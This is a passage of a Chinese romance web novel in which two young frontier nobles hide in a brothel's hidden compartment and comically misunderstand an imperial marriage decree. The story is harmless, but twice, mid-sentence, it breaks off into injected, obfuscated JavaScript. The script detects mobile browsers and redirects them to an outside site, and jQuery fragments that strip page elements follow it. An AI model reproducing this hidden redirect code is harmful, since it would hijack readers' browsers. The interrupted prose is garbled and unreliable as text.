不知道他们多久能找来这间屋子,但眼下大门被堵,已经无法再从大门离开。 慕相玄带越清音回到桌边,从花窗往下望,又见八九人马错落守在望月坊外,个个抱着长绳,拖着军棍,一副随时都能动手行刑的凶煞模样。 越清音原本就不清醒的脑子更加懵了,喃喃道:“看来明年的今日,就是我与二哥的忌日……” 她恍惚念叨着:“没想到,结拜起誓这么灵验,竟然真会同年同月同日死啊……” 慕相玄:“……” 任由她迷糊咕哝,他在旁边冷静地想,走窗户也行不通了。 他回过头,踢了下歪扭躺在地面的小倌们,一针见血道:“别装了,老实说,这儿有后门吗?” 靠前的紫衫小倌顿了顿,睁开些许眼缝,暗自忖度。 今夜他们来这上房,听闻两位客人只想听故事,起先也高兴了好一会儿。还以为遇上了能省心服侍的好客人,没承想……那姑娘实在太能喝了! 紫衫小倌有些后怕,原本见那姑娘没什么欢场经验,他还耍了个滑头,没有让兄弟们一起陪饮,而是与十九位兄弟轮番陪她喝。 若有懂行人在场,定要说他们人多欺负人少、忽悠小姑娘。可谁也没想到,十几圈下来,酒量浅的兄弟已经话都说不利索了,她的酒意才刚刚上脸…… 幸亏他见多识广,认出人中酒仙,急中生智与兄弟们齐齐装醉躺倒。不然陪她喝完今场,恐怕他们得不省人事昏睡个三天三夜。 然而糊弄没心眼的小姑娘容易,想骗面前这少年却困难。 他没说多余的话,只是肩背劲拔地站在他们身前,冷冷地睥下来,就让人感觉后颈一阵阵发寒。 紫衫小倌率先不装了,睁开眼睛嫣然一笑。 “这位爷说笑了,这儿是花楼,既怕小倌卷款逃奔,又怕客人背债潜逃,怎会有后门呢?” 慕相玄安静看他片刻,从怀里抽出张官印鲜红的银票,夹在指尖朝他晃了下: “能在复杂边关经营这么久的花楼,应该有些不凡之处吧?” 常年在边境游走,他也遇过不少三教九流,这些是非云集的场所,不可能没有半个藏匿躲事的后手。 银票发出悦耳的纸张脆响,房间里的其他小倌都精神抖擞地“清醒”了。 “呀,爷是个明白人!” 花蝴蝶们将酒意伪装甩到脑后,鲤鱼打挺起来,争先恐后道: “实不相瞒,我们这儿确实有些门道!虽说没有后门,但藏人之处,花楼里多的是呢!” 唯恐慕相玄不信,他们速速引他看上房的财位。 那儿设了座花楼常有的狐仙娘娘木塑像,神龛上撒了桃花瓣,置了三两果盘供奉,红烛还在艳艳燃着。 狐仙算不得正神,木塑像眉眼高深莫测。外人见了总是心怀忌惮、生怕冒犯,鲜少敢去翻查神位,正好利于包藏阴私。 几人蹲下身,手脚利落地摆弄神龛,竟在下方移开一道隐秘木门,露出个半大不小的隔间来。 有小倌视线流连银票,殷勤解释道: “花楼最怕纠纷,既怕官差流氓来闹事,也怕客人家中的正宫娘娘寻上门来发难,是以都会准备些临时的藏身之所!” 慕相玄估算着隔间的大小,两人进去应该挤得够呛,只能让清音一人藏在这儿了。 于是他招手唤越清音:“过来。” 越清音自打认出慕相玄,就听话得像只鹌鹑,可来到神龛面前,她装满酒的脑子又不大够用了。 她对着神龛上的果盘愣了半晌,数了数供奉狐仙、祈祷“紫气东来”的茄子,还有寓意“吉祥顺遂”的柑橘,为难地同慕相玄说:“我吃不下。” 慕相玄:“……不是让你吃。” 从前少见她饮酒,没想到她酒后是这样糊涂得可爱的性子。 可惜时间紧迫。 他有些遗憾地压下逗逗酒鬼的想法,匆匆将她塞进隔间,好声哄道:“你在里头待一会儿,先别出声知道吗?” 说罢又转身,吩咐小倌们:“把隔间的门关了。” 小倌们满心期待着过后领赏,殷勤备至地应了:“好嘞——” 慕相玄一边观察顶上哪根横梁方便让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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越清音却不肯独自起身,委屈道:“这儿太黑了,幸好你进来陪我……” 慕相玄没了辙,一手虚虚揽住她的腰,一手撑着地板,带她坐起来些。 越清音挨着他坐稳,不再乱动,又想起关键:“为何你会来花楼?” 温热的呼吸极近,慕相玄听清她声音的方位,大概他只要低头,就能亲到她松软的发鬓。 他走着神,轻声道:“怎么?” “你过来鬼混,却管着我,不许我来?” 草原的少女惯会捕捉重点,径直越过自己的破绽,疑问道:“我不能管你么?” 慕相玄回过神,没多思索就想说“可以”。 可这花楼的话题并不妥当。 身前人似乎猛然记起了什么要紧事,方才还软绵亲昵的嗓音,下一刻陡然增添了懊恼与怒意。 “也对,慕大将军,我哪里管得了你。” 她咬牙道:“知人只知面,谁知道你底下是个什么情况!” 慕相玄怔忪了瞬。 他以为是自己身下难堪的反应被她察觉,顿时窘迫得想弓身避开:“我……” 谁知身前的少女用力按住他的肩,扳着他要他靠近。 他听见她忿忿不平的嗓音:“你还想瞒我多久!” 少年黑暗中的瞳孔微微紧缩,听见未婚妻的愤怒控诉: “赐婚的事情,我已经全都知道了!” 6.保证 慕相玄错愕道:“你怎会……” “我不该知道么?” 越清音揪紧他肩上的衣料。 “圣上赐婚,京城、融州必有动静。而花楼客人南来北往、消息灵通,被我探查出来岂不正常!” —— 就在慕相玄进屋之前。 小倌们围绕着京城的新鲜事儿滔滔不绝。 从边关将领携敌酋与战利品凯旋,皇城前献俘礼的《凯安》乐响彻三夜; 说到圣上颁下圣旨,要为宠爱的礼柔郡主祈福,御用福寿观将放出道家斋饭,恩泽百姓; 甚至还提到了落魄多年的肃王府,称圣上特批金丝楠木,赐予肃王府作翻新整修…… 越清音与乌维言聚精会神,虽觉新鲜有趣,但听了半日也未听见重点。 乌维言不得不打断他们:“可有听说哪家订婚、办喜事么,特别是慕容家的?” 小倌们不约而同地笑,应道:“爷说什么呢,先前是五月,俗称端午凶日。” “慕容家天潢贵胄,哪有在恶月办喜事的?” 越清音一琢磨,依稀想起以前听屠军师说过,越是身份尊贵之人,越是讲究天人合一。 皇亲国戚通常会选“花好月圆”的八月、“秋收圆满”的十月成婚,五月湿热易生疫病,是为不吉,办喜事的可谓少之又少。 瞧着打听不到什么,兄妹俩卡进了死胡同里,不知还能从何摸出头绪。 但有一小倌随口笑道:“说到喜事,我前些天倒听说了一件,不过与京城关系不大,反倒与我们融州城有些关联。” 兄妹俩的耳朵一下子竖了起来。 见客人们有兴趣,小倌便打开了话匣子:“几日前我接待了位茶商。” “那老爷刚从京城过来,说是在中途官道见到了极长的礼官队伍,官差严密护送,沿路红绸飞扬,彩花铺天盖地,像是圣上命人给融州城送来贺礼呢!” 兄妹俩身形一僵,越清音睁大眼睛:“红绸贺礼……” 汉人皇室最讲排面,往常也给越柳营送来过不少奖赏,但吹吹打打有余,配着红绸彩花的倒是从未见过。 是因为喜事将近,所以圣上特意送来红贺? 难不成真要赐婚? 乌维言顿时冒火,怒而拍桌道:“这些汉人听不懂人话吗?” “你三番五次拒嫁,甚至说过如果要履行婚约,宁愿让越将军再娶的胡话——为何他们还恬不知耻地送贺礼过来,这不是强娶民女吗!” 越清音定定神安抚道:“先别急,融州城这么大,也不一定是给我的贺礼……” 她同那小倌细细打听:“知道贺礼是送给哪户人家的么?” “譬如说,有没有在送礼队伍里看见牌匾、旗帜之类的?” 小倌思索着搓搓脑袋:“似乎没听过有旗帜等物……” “啊!” 他灵机一动,说道:“不过,那贺礼应该是圣上送给越家的!” 小倌信誓旦旦地说:“听说当年越将军成婚时,圣上命人送来的贺礼,就与这回的很像呢!” 乍然听见越家的名号,兄妹俩险些反应不过来。 ……越家的。 越清音喃喃着道:“那都多少年了,谁还记得那么清,怎么就说与当年给越家的相像了?” 小倌对着两位客人嘿嘿一笑,通情达理地压低声:“越姑娘,乌维公子,二位自进楼以来,也没和我们故意藏着身份,那我们就坦诚直说了——” “官道途中那队贺礼绝非等闲,据闻规格极高,打头就能看见泰山石、犀角蟠螭金杯、麒麟瑞兽玉雕!” “二位出身将门,想必也知道,那几样可都是杀邪镇煞的凶器。融州城内,除了主将越家,哪里还有人家敢用,不怕折煞么!” 乌维言脸色白了,看向清音:“真是给越家的?” 兄妹两人细细回想小倌说的每一个字,心中忐忑,隐约生出猜测。 越清音拉住义兄的袖子:“相玄答应过我,不会让我嫁那蠢材的。” 乌维言也不安地点点头:“是呢,他答应过,不会食言……” 他分析下去:“除了他,别的慕容氏都没见过你,不会特意蹲守这刚停战的时机,向圣上请旨赐婚。” 两人互相列举理由,想要维持理智。 但兄妹俩心底的思索也未停歇,生出的猜测逐渐有了雏形,终是两两对望,相视凄凉。 乌维言装不住镇定了,颤着声道:“清音,恐怕……” “先别急。” 越清音强迫自己冷静下来,扭头对小倌问最后一个关键问题。 “队伍的贺礼里,有大雁吗?” 小倌嚯地一声,直呼惊奇:“越姑娘莫不是跟屠军师偷过师?神机妙算啊!” 他神秘地凑近桌子,同众人说道:“这就是那送礼队伍里最古怪的事了!” “给新人送大雁作贺礼,自古就是大昭一等一的好意头!按规矩说,该由大雁起头领队,其余贺礼往后铺垫。” “可不知为何,那礼官队伍浩浩荡荡、贺仪周全,可从头到尾连一根雁毛都没有!” 小倌说完,颇不赞成:“你们说,哪有汉人权贵成亲不送大雁的!圣上又不差那点雁钱!” 众小倌也觉稀奇,纷纷附议。 满屋子汉人七嘴八舌,一声声“奇了”、“怪了”。 而主位上,胡人兄妹俩一言不发,渐渐惨白了脸色。 这赐婚背后的谜题。 兄妹俩已经完全解出来了。 乌维言惨淡笑了笑:“对你们来说,没有大雁确实稀奇。但在我们兄妹俩看来,就很容易理解了。” 越清音失魂落魄地解释:“因为雁鸟忠贞,一生只有一位伴侣。” 乌维言开始哽咽:“所以,并不是所有人成婚都适合送大雁的……” 越清音两行清泪流下:“譬如说,二婚的就不能送……” 两兄妹捂着心口对视一眼,悲痛得几欲断魂—— 真是前门拒虎,后门进狼! “我的胡言乱语把我爹害惨了!他真要代替我履行婚约了!” “我们要有后娘了啊!” “后娘啊!!!” …… 越清音回想至此,终于明白为何前些时日,她爹常常与京中通信,看信时一时骂、一时笑……后来还开始强迫她学女训,生怕她在皇室宗亲面前丢人现眼…… 原来是因为她要有后娘了! 一时之间,懊恼、苦闷、被蒙在鼓里的愤懑齐齐涌上心头。 隔间里满目昏黑,正如她满心的悲凉。 “慕容家真是可耻,连老头都不放过……” 她咬牙说得痛恨,慕相玄听不大清。 但这次赐婚曲折复杂,他先前也同圣上表达过低调筹办的意愿。如今圣旨还未送到边关,按理说,融州的知情人应该寥寥无几才对。 一家小小的花楼,即便攒了些酒客的道听途说,又能知悉多少呢? 慕相玄竭力冷静下来:“清音,赐婚之事弯绕颇多,只怕你一知半解、有所误会……” “能有什么误会!” 见慕相玄还在质疑否认,越清音又气又急:“你以为我对迢迢京城一无所知,才不是,我都知道!” 她急于证明,匆匆翻查记忆,一股脑儿倒出先前小倌们说的话:“将士凯旋,圣上颁了圣旨对不对!还有,还有……”灵光一闪而过,“还有肃王!” 少女斩钉截铁:“肃王的事我也知道了!” ——既知琐事,那父亲被赐婚这样的大事,她当然更加清楚了! 这边,慕相玄的心脏已经漏了一拍。 ……凯旋,圣旨,肃王。 每个字都在他的脑海里反复回响,每个字都与事实十足相契。 越清音没听到他的回应,以为他还要遮掩,难过道:“此事与我息息相关,你为何没有早些告诉我?非要我从别人口中听说……” 听见她哀戚的语调,慕相玄心下痉挛,艰难地认清事实。 这家花楼竟有几分搜刮消息的真本事,真让她知道了她与肃王被赐婚…… 他自觉惭愧于对她的隐瞒,着急地探前靠近,想要解释: “我想说的,我本来是想找个恰当时机,然后亲口告诉你……” 想告诉她,他承袭了父亲的肃王爵位,求到了那道心心念念的赐婚圣旨。 ……短短一句,阐明很易。 可为何他迟迟难以开口? 慕相玄在懊悔的一瞬间,同时找到了答案。 因为他想同她说清的事情不止于此,他想要她知道的事情也不止于此。 他不希望二人稀里糊涂奉旨成婚,他想同她说清,这不是圣上随意赐的婚,这是他在金銮宝殿上跪地请旨、主动求来的姻缘! 他想将那卷赐婚圣旨拿到手上,在她面前摊开,让她看清,那金绢墨笔多么潇洒大气,可字字句句的背后,全都是她无知无觉、无忧无虑的七年韶光里,他慌乱无措的情窦初开、藏也藏不住的知慕少艾,以及每每揣着心事与她并肩随行时,他拙劣又不高明的试探。 他对自己的心意知道太多,对她的心意知道太少。 好几次鼓起勇气想同她坦白,可一对上她的视线,他便心生情怯,唯恐他和盘托出所有情意,却听她回一句“不愿、不喜”。 那他该怎么办呢? 儿时读词,有词人想要心上人明白他的相思,于是写下一句“换我心,为你心,始知相忆深”。 可慕相玄却想,能不能将她的心,换来作为我的心,我也想看看她的那颗心,里面有没有与我相似的情意。 隔间逼仄,二人呼吸相融,近在咫尺,几乎能感受到彼此身上微热的融暖。慕相玄侧着听力稍好的耳朵,努力分辨她的情绪。 理智仍在拉扯,心底的声音告诉他,京城距此千里,他改名换姓来到融州,从未将身份摆上过明面。 区区一家边境花楼,哪怕消息再灵通,也绝不可能洞悉天家朝堂所有秘辛。 清音应该还不知道他就是肃王。 遭遇亲近之人的欺瞒,她很是伤心,无论他如何胆怯情怯,也不该再继续拖延、隐瞒真相了。 “先前都是我不好,清音。” 慕相玄竭力平稳住胸膛的起伏,从喉咙里挤出声音:“我不会再瞒你了,还有一事,我现在就同你坦白……” “这道赐婚圣旨十分特殊,其实,”他艰难地咽了口水,“婚旨背后的人,是……” 越清音应得干脆:“我知道啊——” 慕相玄听见少女直截了当的声音——“是你!” 我知道,是你! 短短几字,却如惊雷炸在耳边,他被劈得浑身一颤,所有话语都在刹那间凝固。 狭窄的隔间再次陷入僵硬的寂静。 反倒是隔间外传来些声响,似乎是乌维言醒了过来,正与小倌们说些什么。 越清音有心想要听听。 然而刚将脑袋贴近木门,身边人就倏然抬手扣住她的肩,力道之急,将她吓得一哆嗦。 少年难以置信地提高声调:“你知道是我?” 越清音仿佛隔着黑暗都能瞧见他猝然睁大的眼睛,不免心下纳罕,这很难猜么? 圣上赐婚,她父亲远在融州。 而他作为她父亲的心腹副将,又恰好在京述职,那自然是要替她父亲谢恩、上下打点、跑腿备办双方议亲事宜的——可不就是实打实的婚旨背后的男人么! “知道知道,猜出来了。”她惦记着乌维言的动静,拍开少年的手,随意敷衍过去。 身边的少年安静得像只哑掉的鸡。 听不清木门外的动静,慕相玄兀自失神良久。 少年将军练达老成,让他一而再、再而三,接连三次判断失误的,今日这花楼还是头一个……它真有几分打探消息的本事么,连他隐瞒身份都知道……慕相玄恍惚着想,或许改日得查查这花楼。 不过在那之前…… 他好久才找回神智,以极不确定的气声唤她:“清音。” “那你怎么想呢?” “就是你对这桩婚事,你愿意么……” 身边人似乎轻微动了下,但他听不清她的声音,只是生出种微妙的直觉。 他伸手过去,猝不及防摸到她满脸的冰凉泪水,惊得猛然屏住呼吸。 —— 而在片刻之前。 慕相玄发愣的同时,外头的乌维言刚醒酒,聒噪得像一百只鸭。 乌维言哭哭啼啼,任由小倌们给他套了件花里胡哨的外衫,再给他梳发妆脸。 瞧着任人摆布,可那胭脂刚抹上脸,立即就被泪水冲出两道沟壑来。 小倌们只得不断取来胭脂给他补,然后又眼睁睁瞧着他哭花妆容。 几个回合下来,补胭脂的黄衣小倌不乐意了。 他将胭脂盒子往妆台上一扣,叉腰就叫骂起来:“叫你上妆又不是叫你上台,哭哭哭,哭什么哭!待会儿狐仙娘娘还以为我来买.春,你卖春呢!” 乌维言被他的污言秽语骂得哭声稍弱,下一刻又爆发出更凄凉的哀嚎:“你懂什么,我要有后娘了,后娘啊——” 他哭得嘎嘎声:“都说亲娘打儿像拍灰,后娘打儿用铁锤!” “你见过军中的铁锤吗!若你见过,怕是也会叫我赶紧哭,毕竟我这条命已经没几日能哭的了,呜呜……” 越清音与乌维言打小就是菜刀菜板不分家,一听见自家义兄的哭腔,顿时被带得眼眶发热。 二哥……好走! 乌维言继续声泪俱下:“可怜我还有个妹妹,她那小身板,只怕会死得比我更早些……” 越清音瞬间共情:“……”不要啊呜呜呜! 共情乌维言的还不止她一人。 外头有个小倌被他戳中陈旧心伤,感伤地扯出手绢,抹抹泪:“都别怪他,我最清楚了,在后娘手底下讨生活,有多么不容易……” 那小倌约莫学过唱曲儿,话音曲折婉转,将他年幼时添了后娘、有了后娘就有后爹、还有数不清的折辱欺负一一道来。 可怜可凄的遭遇搭上如泣如诉的语调,令在场所有人都泪盈于睫,心肠寸断。 当他说到后娘狠心地将他卖来做小倌,他跪在望月坊门前抱着后娘的腿苦苦哀求、痛哭流涕的那一幕,隔间外的恸哭声已经连成了片。 这时,对外头情况一无所知的慕相玄恰好伸手过来,指尖轻触,就这样摸到了越清音满脸的泪。 慕相玄惶恐得猛然缩回手,仿佛连他的存在都是一种冒犯。 她是不是不满意这桩赐婚,是不是不愿嫁他…… 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722360|173490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而还未等他多想,少女已经扑到他的身侧,像抱着救命稻草一般抱住他的胳膊,呜声哭了起来。 “原来以后我要当牛做马了……说不定要洗衣做饭劈柴喂马,还要一个人拿着扫帚打扫军营里的两万八千亩地……” “什么?” 慕相玄被她抱得神思恍惚:“可我们军营里都是草坪,并不需要扫地啊……” 越清音满脑子都是小倌以身为例的悲惨过往,还有他那句“有了后娘就会有后爹”,一时间,也不知道是遭遇后娘更凄惨,还是被亲爹抛弃更可怜。 听着外头的嚎天喊地,今夜灌下的酒液越发酝酿得苦涩,苦得她也伤心泪流不尽。 “待成婚之后……我就不是我爹的心头肉了,我得学会低声下气地讨生活,要起早贪黑伺候一大家子……” “我辛辛苦苦,做的是脏工累活,可穿的是破衣烂衫,吃的是剩菜馊饭……” 慕相玄瞳孔颤抖,听她泣不成声。 “我还要学会谄媚讨好人,不然稍有不妥,就会被扒光衣服拿藤条抽打……还会被关进马棚里和马一起睡!” 越清音说到最后嚎啕不止:“然后用不着两个月,就会被厌弃被嫌碍眼,要一根绳子绑着我,打折我的腿,把我卖进青楼里接客……” 慕相玄感觉天都要塌了。 “不会!我绝对不会!”他失声喊了起来。 越清音被他忽然拔高的声音震得一抖,止住了哭声。 “那种事情绝对不会发生!”慕相玄只恨不能把心肝剖出来给她看! 少年笔直跪起身,当即指天发誓:“举头三尺有神明,若违此誓,就让我往后余生不得胜仗,被千军万马踏成肉泥——” 话还没说完,就被越清音两根手指用力捏住了嘴。 越清音被他突如其来的毒誓吓出一身冷汗,刚起劲的醉意又被压下了。 她瞪圆杏眼怒道:“你胡说八道些什么,重新说过!” 慕相玄一把抓下她的手,急切地把脸探到她面前:“清音,我不知道是谁对你说了那些挑拨离间的话……” “但你我二人总角相交,少年相伴,你不相信我吗?” 越清音愣了下。 慕相玄的语气万分认真:“成婚不会改变你我的性情与情谊,也不会有人逼你做你不愿意做的事情。” “往后的日子里,你喜欢策马就去策马,喜欢摘花就去摘花,喜欢关外的广阔无垠一望无际,我们就出关游戏赏玩,直至尽兴再回家……” 他在无光的黑暗里准确地找到她的眼睛,轻声道:“我绝对不会让你受委屈。” 越清音怔忪着,有种被人专注看着的错觉,局促地低下头。 他怎能有这样的保证呢。 隔间外头似乎察觉到了什么动静,呼天喊地的哭声弱了不少。 越清音恍恍惚惚地想着为什么,指尖不经意间碰到他触地的膝盖,武官的衣料结实又细密…… 她恍然,大概是他回京述职的时候,已经见过她未来的继母了。他替她掌过眼,知道对方性情不错,不会为难她与乌维言。 她想问问他是不是这样,但外头突然传来破门声。 越清音立即住了口,侧耳听见小倌们圆滑应付的笑声,还有她父亲亲兵们的盘问。 她又难免多心,他待她确实情谊无双,但其间难保没有参杂着对她父亲的敬爱——他自幼入营,她爹可是拿他当亲儿教导的! 越清音想,她是她爹唯一的血脉,他知恩图报、爱屋及乌,一直体贴照顾她,可若是以后,她爹又多了其他的血脉呢? 亲兵们还在外问话,汉子的粗犷声线叠叠入耳,但越清音按耐不住心底的疑问了。 慕相玄在安静中感觉到有道柔柔暖意搭上他的肩。 少女悄悄趴到他的肩头,一手掩在脸边,小声又亲昵地问道:“那若是以后有了孩子,你还像现在这样偏心于我么?” 慕相玄:“……” 他听得面红耳赤,恨不得把头低到自己胸口里,两只手不知所措地抓紧衣袍,又松开。 直到清音等了又等,催促似的轻推他,他才用微乎其微的声音答道:“会的。” 越清音满意了,下巴枕到他肩上,手指勾着他的发梢玩,舒舒服服地等着外面的人离开。 两人贴得极近,慕相玄听见自己的心跳声,像怀里揣了只兔子,扑通扑通地活蹦乱跳。 他觉得时机大约到了,低声同她确认:“那你同意么,就是那婚约……” 越清音抬起些脸。 天要下雨,爹要娶人,哪儿轮得到她不同意呢。 于是她点点头,又想起他看不见,便说:“同意。” 话音还未落下,少年已经扑来抱紧了她,高大的身子压下半边重量,用力抱得她险些透不过气。 越清音震惊地听见他近乎喜极而泣的连声:“清音,清音清音……” “……嗯?”少女糊里糊涂想着他身上好暖好暖。 她不自觉回抱住他,安抚地摸摸他的后背:“你怎么了?” 慕相玄曾经见过军中将士订亲,有些人恨不得将全副身家都系上红绸,为聘为礼,敲锣打鼓送去心上人家里。 他幼时懵懂,只看得见红绸彩聘的浩大声势,今日却彻底明白,何为“情至极处,万物皆轻”的浪漫。 大概多少身家也配不上她。 少年蹭着她的耳鬓:“都给你,全部都给你……” 天底下还有什么好东西,也该寻来一起送她! 越清音愈发迷惘,迟疑地伸手去探他额头:“你是不是又……” “清音!” 谁知慕相玄拉下她的手,殷切看着她:“你想要天上的星星吗?” 越清音:“?” 少年的尾音轻快扬起:“我想要摘给你!” 越清音:“……” 她呆呆地想,摘给她做什么呀,若他真把星星摘下来,她该把它放在哪儿呢,做成坠子天天戴着么…… 两个人傻乎乎地朝着对方笑。 慕相玄知道,有一样东西,定是她现在最想要的。 他低头贴贴她的额鬓,邀功般对她说道: “我同越将军说过了,不需要你再跟着嬷嬷学女训。你不会再被关着了,想去哪儿玩都可以!” “真的?”她果然欢喜。 “真的!” 越清音雀跃地想要坐直身子。 可她手往下一撑,却不知按到了什么,身边的少年直接闷哼一声。 “嗯?”她疑惑低头,看不见,便顺手抓了抓。 慕相玄浑身的血都往一个地方去,瞬即扣住她的腕子拉开,呼吸促乱得说不出话。 越清音倒是有话要说,迟疑道:“不是说那是贡品么,你把茄子带进来做什么?” 慕相玄恨不得自己全聋了。 他张了张口,又语噎,正想着该如何转移她注意力时,打小就耳聪目明的越家姑娘已经猜出了原因。 “哦——” 她凑近前去,狡黠地甜笑:“你怕我偷偷吃它呀?” 慕相玄:“……” 越清音自诩聪明绝顶,等了半晌,果然听见少年低低“呜”了声。 他气声幽微:“要不,你再听听嬷嬷的课……” 至少懂一些,可以少点折磨他…… 7.新衣 翌日,越清音睡到日上三竿,才迷迷瞪瞪地醒过来。 映入眼帘的是一张细白布帐,轻盈的纱布四面垂拢,被花窗投进来的日光照得金灿灿的,乍一眼好像卧在了明亮的金笼子里。 越清音坐起身,用宿醉的迟钝脑子想了想,终于记起这是越柳营设在融州城的客馆,平日只用来招待到访的贵客。 昨日慕相玄出来得匆忙,还未来得及寻找托辞应对越将军。 他担心兄妹二人回去就要挨军法,于是将两人送来这儿,让他们先将就住着,等他处理好了再回去。 原本越清音说不必麻烦,横竖已经在望月坊定了上房,不如在那边睡一夜就好了。 但向来百依百顺的少年一反常态,执拗地拒绝。 他说除非他死了,不然她这辈子也休想在男风馆里过夜。 越清音只好遗憾地踏出富贵奢靡的花楼,来到这所朴素清净的客馆。 眼下晨光明媚灿烂,睡饱觉的少女洗漱完就恢复了精神活力。 她换上慕相玄提前准备的衣裙,兴致盎然地编了发辫,浅色发带俏生生地迎风轻扬。 “二哥!二哥!” 乌维言困得睁不开眼,可敲门声越来越大,客馆的榆木门框嗡嗡直震。 他勉强提起一口气,踉踉跄跄荡到门边,拉开房门:“做什么……” 啪地一声,神采焕发的少女将拧好的干净帕子盖上他的脸,清凉湿润的水汽扑面而来,强行揪回他游离大半的神魂。 乌维言打一激灵,下意识抓住帕子抹了把脸,听见义妹迫不及待的催促声。 “二哥快收拾!今日我们出去买东西!” 越清音今日醒了酒,再回顾昨夜之事,就忍不住直跺脚,怪自己糊涂! 真不该听了那小倌受后娘折辱欺负的凄惨遭遇后,就早早地成了惊弓之鸟,对她尚未过门的继母感到畏惧害怕—— 毕竟俗话说,做贼的不全黑,当官的也不全白。 越清音想,那后娘当然也不全是恶的。她还未亲眼见过人,怎能如此草率地认定她的继母就是心狠手辣的呢? 更何况,屠军师让她多入红尘、修结善缘,说不定,这道赐婚圣旨也是她的善缘呢。 此时已经红日三竿。 越清音与乌维言走入摩肩擦踵的街市,早膳也没吃就往两侧铺子里扫视。 乌维言问:“说吧,今日你想买些什么?” 越清音将自己晨起时的懊悔同义兄说了,又道:“你想想,人家可是权门贵戚养出来的金枝玉叶。” “她突然被圣上赐婚,要背离故乡,远远地嫁到融州城来,想必心里也不好受。” 越清音将己度人,当初二皇子说要与她联姻,她也提心吊胆过很长一段时间。 如今圣上没看上她,看上了她爹,于她是种解脱,但于人家姑娘来说,何尝不是种无妄之灾、也令人家提心吊胆的呢。 乌维言觉得有理,但还是安慰义妹: “越将军虽然年近四十,但好歹英武不凡、人品贵重。而且徐郎半老,他还残存几分姿色,也不算是糟糕透顶的归宿……” 越清音幽幽叹气:“即便如此,男子还是粗心,况且我爹大半颗心都系在越柳营上……” 她郑重其事地拍了拍义兄的肩:“所以,照顾好远道而来的继母的责任,就只能由我们越氏双杰来承担了!” 在乌维言逐渐被感化、变得同样坚毅的眼神下,越清音大手一挥,笃声道: “今日的任务,就是为我们的继母挑选礼品,务必让她感受到我们的善意!” 善意的兄妹俩将自己身上摸了个遍,好不容易才凑出十来块碎银,大部分还是昨日慕相玄荷包里剩下的。 二人头抵着头,数了数可怜兮兮的余银,窘迫得直搓手。然后又互相宽慰着“礼轻情意重”,昂首挺胸走向两侧商铺。 银钱不多,越清音精打细算,仔细挑了些讨女子喜欢的精巧玩意儿,又特意往吉祥喜庆的方向选。 随着日头往西沉,两人手上逐渐多了东西,步子一拐,准备跨入新店时,少女的目光被店门前的小摊牢牢牵引住。 小摊老板很是机敏上道,立即招呼:“姑娘,有新来的话本子,要不要瞧瞧?” 这摊子不大,但五彩斑斓,林林总总码了不少书籍画册。 越清音的视线徘徊在前排的志怪话本子之间,打头有本书册,蓝底封皮上绘了位簪花仙子,跨骑一吊睛白额虎,虎容震怒,正欲扑敌,怎么瞧怎么新奇有趣。 乌维言见她目不转睛,立马摊开手给她看所剩无几的银两,制止道:“不可以买无用之物,咱们不剩什么钱了!” 越清音不服气,顶嘴道:“怎么就无用了,说不定她也爱看话本子呢!” 乌维言直言击破她的幻想:“只听说过大家闺秀爱看些诗啊词啊的,没听说过她们还爱看人骑着大虫打打杀杀的。” 越清音被哽得一噎,无法反驳。 她瞟了瞟孤零零的几个银钱,耷拉下脑袋准备离开。 小摊老板眼见煮熟的鸭子要飞,连忙拦道:“二位先别急着走!是要买书给旁人吗,小的这儿也有些闺秀爱读的诗词,说不定能合二位心意!” 闻言,越清音止住脚步,与乌维言对视一眼。 两人恍然想起未来继母的门第身份,不约而同觉得赠书或许是个好主意,于是又蹲回小书摊面前。 只是兄妹俩不学无术,分不清诗词好坏,只能托老板帮忙挑选,老板二话不说就应了:“不知二位是要赠书给何人?” 两人抓耳挠腮了会儿,实在不清楚继母的情况,便含糊道:“是位新婚的女子……” “哟!” 书摊老板眼珠子滴溜转了圈,立马凑近压声道:“新婚女子,蜜里调油,看什么伤春悲秋的诗词呀!” “我这儿有几本新鲜话本子,巫山洛浦,儿女情长,在新婚妇人间卖得可好了,就连大户人家的主母也遣下人过来买呢!不怕二位的友人不满意!” “竟比诗词还受欢迎?”两人迷茫道。 “那当然!”书摊老板拍着胸脯保证。 他得意洋洋地想,那几本话本子图文并茂、花样俱全,于羞涩又好奇的新婚夫妻而言,那可是难得一见的绝世好书,幸亏他慧眼识珠早早订了货,不然都难抢到货尾! 书摊老板目光掠过二人手中的银两,嘿嘿笑道,“就是拿货很不容易,所以这价钱嘛……” 纯朴的兄妹俩真当遇上了鸿篇钜制,为了讨赐婚而来的新娘子欢心,很大方地挑出银子拍到书摊上:“价钱好说,给我们来一份!” “好嘞!”老板乐颠颠地应了。 越清音眼巴巴地等着他取话本子出来,谁知只见他从书摊底下掏出个严密包裹,里外三层都是厚实油纸,连一丝书缝都看不着。 书摊老板摆出副“你懂我也懂”的娴熟表情,推到两人面前。 两人迟疑地对视一眼,不明白为何包得如此严实,莫非旷世之作纸张矜贵,不能随便见光? 书摊老板将他们的犹豫收入眼底,却误解了,了然于胸地挤眉弄眼。 “我懂,虽有油纸包裹,但也招人视线,需不需要我帮忙送到府上?” 两人听闻还有这等便利好事,当即爽快答应:“好啊!” 只是二人如今暂住客馆,收取不便。 于是兄妹俩一商量,说道:“有劳老板,将这几本大作送去越柳军营。” 越清音笑眯眯地补充道:“你送到慕将军的帐子里,就可以了!” * 这边兄妹二人经书摊一事,彷若打通任督二脉,发现了最省心也最妥善的选礼法子。 二人逢店就问有无商货适合新婚女子,能否帮忙送到越柳营中。 多数商铺不得要领,同二人大眼瞪小眼,但也有些格外圆滑的——例如成衣铺子的女掌柜。 老板娘听言先是一怔,待抬头看清是对鲜嫩俊俏的少年男女,登时人情练达,一张圆脸笑开了花: “新婚是吧?给姑娘穿的是吧?” 